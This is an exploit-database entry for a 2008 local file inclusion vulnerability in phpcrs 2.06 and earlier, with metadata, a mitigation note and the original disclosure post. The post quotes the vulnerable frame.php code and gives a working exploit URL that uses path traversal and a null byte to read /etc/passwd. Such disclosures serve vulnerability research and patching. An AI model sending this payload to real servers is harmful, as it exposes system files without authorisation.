phpcrs - exploit.company

vendor:

phpcrs

by:

Pepelux

7.5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: phpcrs

Affected Version From: <= 2.06

Affected Version To: <= 2.06

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Firefox

2008

phpcrs <= 2.06 / Local File Inclusion Vulnerability

A vulnerability exists in phpcrs version <= 2.06, which allows an attacker to include a local file via the 'importFunction' parameter in the 'frame.php' script. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable server. The website only works with Firefox and to exploit it, the user-agent must be changed.

Mitigation:

Upgrade to the latest version of phpcrs.

Source

Exploit-DB raw data:

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
phpcrs <= 2.06 / Local File Inclusion Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

$ Program: phpcrs
$ Version: <= 2.06
$ File affected: frame.php
$ Download: http://sourceforge.net/projects/phpcrs/


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org


--Bug --

151.	elseif( isset( $btnStartImport  ) ) {
152.   		require("../inc/frmDoImport.inc.php");
153. 		require("../inc/". $importFunction .".inc.php");
154.		require("../inc/inc/getFunctions.inc.php");
155.		$importFunction();
156.		frmDoImport( $selectedImport );
157.	}


-- Exploit --

http://site.com/frame.php?btnStartImport=xxx&importFunction=../../../../../etc/passwd%00

NOTE: website only works with Firefox. To navigate you must use Firefox and to exploit 
it, you only have to change the user-agent.

# milw0rm.com [2008-10-22]